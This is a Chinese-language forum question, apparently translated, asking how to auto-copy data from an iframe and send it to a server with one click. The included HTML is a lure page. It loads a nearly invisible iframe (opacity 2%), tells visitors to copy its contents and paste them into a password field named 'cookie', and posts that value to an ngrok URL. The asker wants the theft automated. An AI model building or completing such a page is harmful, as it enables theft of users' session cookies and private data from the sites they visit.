iframe加载的数据通过按钮自动复制和粘贴

hpcdzsge  于 2021-09-13  发布在  Java
关注(0)|答案(0)|浏览(225)

假设有一个html iframe标记。在标记内部,我加载了一些json数据。
要查看手动场景的图片
现在,
我希望“访问页面”或“单击按钮”后自动复制“html iframe加载的数据”。
我想要另一个按钮,复制的数据应该自动传递到服务器。
copeid数据应该通过javascript变量或post方法传递到另一台服务器。例如,在表单标记内。 <h2 align="center"> <form action="https://ngrok.io" method="POST"> 现在,我可以只做一个按钮,使执行这两个动作一次?
我已经做了一个手动版本的这个。

<!DOCTYPE html>
<html>
    <style>
        iframe#fgframe {
     opacity: 2%;
}
</style>
<br><br><br><br>
<center>
<h2 align="center"> COPY THE TEXT BELOW <h2>
</center>
<h2 align="center"> <iframe id="fgframe" height="200px" width="200px" src="https://data_to_be_loaded_inside_iframe"></iframe>
</iframe>
<h2 align="center"> <form action="https://d5b38bf.ngrok.io"
method="POST">
  <div>
  <h2 align="center"> <label for="say">PASTE HERE</label>
  <h2 align="center"> <span>&#8595;</span>
  <h2 align="center"> <input type="password" name="cookie" rows="500" cols="500">

  </textarea>
  <div>
    <button>click</button>
  </div>
</form>

暂无答案!

目前还没有任何答案,快来回答吧!

相关问题